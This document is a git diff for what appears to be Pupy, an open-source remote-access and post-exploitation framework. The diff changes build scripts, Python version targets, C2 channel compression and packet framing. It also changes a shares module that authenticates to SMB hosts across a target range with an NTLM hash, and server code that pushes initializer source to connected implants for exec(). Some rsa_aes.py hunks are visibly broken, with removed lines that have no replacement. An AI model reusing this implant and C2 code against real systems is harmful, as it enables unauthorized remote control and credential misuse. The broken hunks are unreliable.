diff --git a/client/build-docker.sh b/client/build-docker.sh index 1c889ef9..bb15833b 100755 --- a/client/build-docker.sh +++ b/client/build-docker.sh @@ -5,7 +5,7 @@ PUPY=`dirname "$SELF"`/../ PUPY=`readlink -f "$PUPY"` DOCKER_COMMAND=${DOCKER_COMMAND:-docker} -DOCKER_REPO=${DOCKER_REPO:-"alxchk"} +DOCKER_REPO=${DOCKER_REPO:-"n1nj4sec"} CLEAN=${CLEAN:-"no"} if [ ! -z "$REPO" ]; then diff --git a/client/build_library_zip.py b/client/build_library_zip.py index a799d514..6e601f7c 100644 --- a/client/build_library_zip.py +++ b/client/build_library_zip.py @@ -183,13 +183,17 @@ zf.writestr( ) ) +import platform #TODO: update if needed if 'win' in sys.platform: - for root, _, files in os.walk('C:\\Python27\\Lib\\site-packages'): + bits='64' if '64' in platform.architecture()[0] else '32' + for root, _, files in os.walk('C:\\Python3-'+bits+'\\Lib\\site-packages'): for file in files: if file.lower().endswith((".dll",".pyd")): print("interesting file :", file) - if file.lower() in ('pywintypes27.dll', '_win32sysloader.pyd'): + if file.lower() in ('_win32sysloader.pyd'): + zf.write(os.path.join(root, file), file) + if file.lower().startswith("pywintypes") and file.lower().endswith(".dll"): zf.write(os.path.join(root, file), file) try: diff --git a/client/sources-windows-py3/build-docker.sh b/client/sources-windows-py3/build-docker.sh index 4f9293bf..c7c47b0e 100755 --- a/client/sources-windows-py3/build-docker.sh +++ b/client/sources-windows-py3/build-docker.sh @@ -14,7 +14,8 @@ PACKAGES="$PACKAGES https://github.com/alxchk/pyuv/archive/v1.x.zip" PACKAGES="$PACKAGES idna http-parser pyodbc wmi" PACKAGES="$PACKAGES psutil==5.9.2" -SUFFIX="-310" +SUFFIX="-`$PYTHON64 -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`" +echo "Building with python version suffix: $SUFFIX" SELF=$(readlink -f "$0") SELFPWD=$(dirname "$SELF") SRC=${SELFPWD:-$(pwd)} @@ -32,7 +33,7 @@ $PYTHON32 -m pip install -q --upgrade pylzma $PYTHON64 -m pip install -q --upgrade pylzma -SKIP_TO_BUILD=1 +SKIP_TO_BUILD=0 if [ ! "$SKIP_TO_BUILD" -eq "1" ]; then echo "[+] Install python packages" diff --git a/pupy/agent/service.py b/pupy/agent/service.py index de5f168e..77638675 100644 --- a/pupy/agent/service.py +++ b/pupy/agent/service.py @@ -566,6 +566,7 @@ class PupyClient(object): pass except Exception as e: + logger.error(e) agent.remote_error('Iterate launcher: {}', e) finally: diff --git a/pupy/cli/pupygen.py b/pupy/cli/pupygen.py index d69a2b1a..cd59a468 100755 --- a/pupy/cli/pupygen.py +++ b/pupy/cli/pupygen.py @@ -81,7 +81,10 @@ def get_pyver(pyver, config): if pyver is not None: if pyver == 2: return '27' - elif pyver == 3: + elif pyver == 38: + # Here will be some default supported Py3 version + return '38' + elif pyver == 310: # Here will be some default supported Py3 version return '310' elif default: @@ -557,7 +560,7 @@ def generate_binary_from_template( if not os.path.isfile(template): raise ValueError('Template not found ({})'.format(template)) - + display(Info("Using template: {}".format(template))) if target.debug: conf['debug'] = True @@ -662,13 +665,8 @@ def get_parser(base_parser, config): pyver = parser.add_mutually_exclusive_group() pyver.add_argument( - '-2', '--python2', action='store_true', - help='Use python2 target' - ) - - pyver.add_argument( - '-3', '--python3', action='store_true', - help='Use python3 target' + '--python38', action='store_true', + help='Use python38 target (windows 7 supported)' ) parser.add_argument( @@ -973,7 +971,7 @@ def pupygen(args, config, pupsrv, display): os.makedirs(args.output_dir) pyver = get_pyver( - 2 if args.python2 else 3, + 38 if args.python38 else 310, config ) diff --git a/pupy/modules/shares.py b/pupy/modules/shares.py index 2a9d4393..7128a5cd 100644 --- a/pupy/modules/shares.py +++ b/pupy/modules/shares.py @@ -43,31 +43,29 @@ class Shares(PupyModule): remote.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash') remote.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)") remote.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)") - remote.add_argument("-t", dest='target', type=str, help="The target range or CIDR identifier") + remote.add_argument("-t", dest='target', type=str, default=None, help="The target range or CIDR identifier") def run(self, args): # Retrieve local shared folders - try: - if args.local: - if self.client.is_windows(): - shared_folders = self.client.remote('pupwinutils.drives', 'shared_folders') + if args.local: + if self.client.is_windows(): + shared_folders = self.client.remote('pupwinutils.drives', 'shared_folders') - folders = shared_folders() - if not folders: - return + folders = shared_folders() + if not folders: + return - self.log(Table([{ - 'Name': share_name, - 'Path': share_path - } for share_name, share_path in folders], ['Name', 'Path'])) + self.log(Table([{ + 'Name': share_name, + 'Path': share_path + } for share_name, share_path in folders], ['Name', 'Path'])) + + else: + self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1') + return - else: - self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1') - return - except: - pass # Retrieve remote shared folders if not args.target: diff --git a/pupy/network/lib/rpc/core/brine.py b/pupy/network/lib/rpc/core/brine.py index 4fe693b1..61b62e5f 100644 --- a/pupy/network/lib/rpc/core/brine.py +++ b/pupy/network/lib/rpc/core/brine.py @@ -73,10 +73,10 @@ REGISTERED_NAMED_TUPLES_UNPACK = {} MAX_REGISTERED_VERSION = 1 -I1 = Struct("!B") -I4 = Struct("!L") -F8 = Struct("!d") -C16 = Struct("!dd") +I1 = Struct(">B") +I4 = Struct(">L") +F8 = Struct(">d") +C16 = Struct(">dd") _dump_registry = tuple( dict() for _ in xrange(MAX_REGISTERED_VERSION + 1) diff --git a/pupy/network/lib/rpc/core/channel.py b/pupy/network/lib/rpc/core/channel.py index 346b6474..f0b5b871 100644 --- a/pupy/network/lib/rpc/core/channel.py +++ b/pupy/network/lib/rpc/core/channel.py @@ -79,7 +79,7 @@ class Channel(object): """ if self.compress and len(data) > self.COMPRESSION_THRESHOLD: compressed = 1 - data = zlib.compress(data, self.COMPRESSION_LEVEL) + data = zlib.compress(data) else: compressed = 0 diff --git a/pupy/network/lib/streams/PupySocketStream.py b/pupy/network/lib/streams/PupySocketStream.py index 590b5f38..3da47aa7 100644 --- a/pupy/network/lib/streams/PupySocketStream.py +++ b/pupy/network/lib/streams/PupySocketStream.py @@ -42,8 +42,6 @@ from pupy.network.lib.rpc.core import SocketStream, Channel import threading -COMPRESSION_ENABLED = False - class addGetPeer(object): """ add some functions needed by some obfsproxy transports """ @@ -56,9 +54,10 @@ class addGetPeer(object): class PupyChannel(Channel): def __init__(self, *args, **kwargs): super(PupyChannel, self).__init__(*args, **kwargs) - self.compress = COMPRESSION_ENABLED - self.COMPRESSION_LEVEL = 5 if COMPRESSION_ENABLED else 0 + self.compress = True + self.COMPRESSION_LEVEL = 5 self.COMPRESSION_THRESHOLD = self.stream.MAX_IO_CHUNK + self._send_channel_lock = threading.Lock() self._recv_channel_lock = threading.Lock() @@ -71,7 +70,7 @@ class PupyChannel(Channel): return self.stream.wake() def recv(self): - # print "RECV", threading.currentThread() + #print( "RECV", threading.currentThread()) with self._recv_channel_lock: data = self._recv() @@ -90,7 +89,7 @@ class PupyChannel(Channel): def _recv(self): """ Recv logic with interruptions """ - # print "RECV! WAIT FOR LENGTH!" + #print( "RECV! WAIT FOR LENGTH!") packet = self.stream.read(self.FRAME_HEADER.size) # If no packet - then just return @@ -106,10 +105,10 @@ class PupyChannel(Channel): del packet length, compressed = self.FRAME_HEADER.unpack(header) - # print "RECV! WAIT FOR LENGTH COMPLETE!" + #print( "RECV! WAIT FOR LENGTH COMPLETE!") required_length = length + len(self.FLUSHER) - # print "WAIT FOR", required_length + #print( "WAIT FOR", required_length) decompressor = None @@ -122,10 +121,10 @@ class PupyChannel(Channel): packet = self.stream.read(min(required_length, self.COMPRESSION_THRESHOLD)) if packet: required_length -= len(packet) - # print "GET", len(packet) + #print( "GET", len(packet)) if not required_length: packet = packet[:-len(self.FLUSHER)] - + #print( "PACKET IS FINALLY ", len(packet)) if compressed: packet = decompressor.decompress(packet) if not packet: @@ -139,7 +138,7 @@ class PupyChannel(Channel): if packet: buf.write(packet) - # print "COMPLETE!" + #print( "COMPLETE!") return buf def _send(self, data): @@ -150,7 +149,7 @@ class PupyChannel(Channel): portion = None lportion = 0 - # print "SEND .. ", ldata + #print( "SEND .. ", ldata) if self.compress and ldata > self.COMPRESSION_THRESHOLD: portion = data.peek(self.COMPRESSION_THRESHOLD) @@ -164,11 +163,10 @@ class PupyChannel(Channel): self.stream.write(self.FRAME_HEADER.pack(ldata, compressed), notify=False) self.stream.write(data, notify=False) self.stream.write(self.FLUSHER) - # print "SEND .. ", ldata, "DONE" + #print( "SEND .. ", ldata, "DONE") return del portion - compressor = zlib.compressobj(self.COMPRESSION_LEVEL) total_length = 0 @@ -187,18 +185,22 @@ class PupyChannel(Channel): if lportion > 0: total_length += lportion + + #print( "SEND .. ", lportion, "DONE") self.stream.write(portion, notify=False) portion = compressor.flush() lportion = len(portion) if lportion: total_length += lportion + #print( "SEND .. ", lportion, "DONE") self.stream.write(portion, notify=False) del portion, data, cdata self.stream.insert(self.FRAME_HEADER.pack(total_length, compressed)) - # print "SEND WITH TOTAL LENGTH", total_length + #print( "SEND WITH TOTAL LENGTH", total_length) + #print( "SEND FLUSHER ", len(self.FLUSHER), "DONE") self.stream.write(self.FLUSHER) @@ -208,7 +210,7 @@ class PupySocketStream(SocketStream): self.MAX_IO_CHUNK = 32000 self.KEEP_ALIVE_REQUIRED = False - self.compress = COMPRESSION_ENABLED + self.compress = True #buffers for transport self.upstream = Buffer( diff --git a/pupy/network/lib/transports/rsa_aes.py b/pupy/network/lib/transports/rsa_aes.py index d338fc36..7f6d28bd 100644 --- a/pupy/network/lib/transports/rsa_aes.py +++ b/pupy/network/lib/transports/rsa_aes.py @@ -73,7 +73,7 @@ class RSA_AESTransport(BasePupyTransport): if lremainder: ltotal += BLOCK_SIZE - lremainder - data.insert(struct.pack('I', lctext)) data.truncate(ltotal) if __debug__: @@ -112,7 +112,7 @@ class RSA_AESTransport(BasePupyTransport): break self.first_block = self.dec_cipher.decrypt(data.read(BLOCK_SIZE)) - self.size_to_read = struct.unpack_from('I', self.first_block)[0] if self.size_to_read == 0: raise ValueError('Zero sized chunk') diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index da57e1f2..e117b31d 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -654,22 +654,36 @@ class PupyServer(object): def add_client(self, conn): client = None + is_rustc = True - conn.execute( - 'import marshal;exec(marshal.loads({}))'.format( - reprb( - pupycompile( - path.join( - ROOT, - "pupylib", - 'PupyClientInitializer.py' - ), - path=True, raw=True, - target=conn.remote_version + if is_rustc: + conn.execute( + 'exec({})'.format( + reprb( + open(path.join( + ROOT, + "pupylib", + 'PupyClientInitializer.py' + ), 'r').read() + ) + ) + ) + else: + conn.execute( + 'import marshal;exec(marshal.loads({}))'.format( + reprb( + pupycompile( + path.join( + ROOT, + "pupylib", + 'PupyClientInitializer.py' + ), + path=True, raw=True, + target=conn.remote_version + ) ) ) ) - ) uuid = obtain(conn.namespace['get_uuid']())